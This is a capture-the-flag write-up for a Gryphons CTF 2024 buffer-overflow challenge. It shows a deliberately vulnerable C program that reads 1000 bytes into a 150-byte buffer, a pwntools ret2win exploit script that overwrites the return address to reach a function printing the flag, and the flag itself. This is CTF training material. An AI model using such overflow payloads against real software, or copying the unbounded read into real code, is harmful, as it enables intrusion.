> For the complete documentation index, see [llms.txt](https://ravins-organization.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ravins-organization.gitbook.io/ctf-writeups/2024/gryphons-ctf-2024/pwn/its-overflowing.md).

# Its Overflowing

Oh no we have found a vulnerable app in out system, help me find the broken part

As the title suggests, the challenge is a buffer overflow challenge.

Since we are given the code as well, 

```c
#include <stdio.h>
#include <stdlib.h>

void win() {
    printf("Oh No");
    system("cat flag.txt");
}
void main() {
    char flag[150];
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    printf("Enter the flag: ");
    fgets(flag, 1000, stdin);
}
```

We can find the buffer.

Thus, I find the ret address to be `0x0000000000401016`&#x20;

<figure><img src="https://175444261-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxEI13wXOyST4LLTOUiS%2Fuploads%2FNbXAdsv5Ynumd2lLIgzw%2Fimage.png?alt=media&amp;token=c6ba1eee-1cc7-45f1-ba63-296e2d2e2b22" alt=""><figcaption></figcaption></figure>

By using objdump, I can find teh address of the win function to be `0000000000401166`

<figure><img src="https://175444261-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxEI13wXOyST4LLTOUiS%2Fuploads%2FCaJy9fCmvm7VzfjqUdCw%2Fimage.png?alt=media&amp;token=3ed1ac42-fbb5-4629-8dae-e34208eaeeed" alt=""><figcaption></figcaption></figure>

Since we have the buffer, the win address and the ret address, we can craft our solve script

```python
from pwn import *

host = "chal1.gryphons.sg"
port = 10001

win_address = p64(0x401166)
padding = b'A' * 168
ret_address = p64(0x401016)

payload = padding + ret_address + win_address

print(f"Payload: {payload}")

p = remote(host, port)
p.recvuntil(b"Enter the flag: ")
p.sendline(payload)
p.interactive()

```

Thus giving us the flag `GCTF24{0h_OoPs_0V3rFlOweD}`

<figure><img src="https://175444261-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxEI13wXOyST4LLTOUiS%2Fuploads%2F6MqP6XqKb2pqBp5AThJq%2Fimage.png?alt=media&amp;token=9b6a3ef9-45ec-4811-8ea7-acc1618b3e01" alt=""><figcaption></figcaption></figure>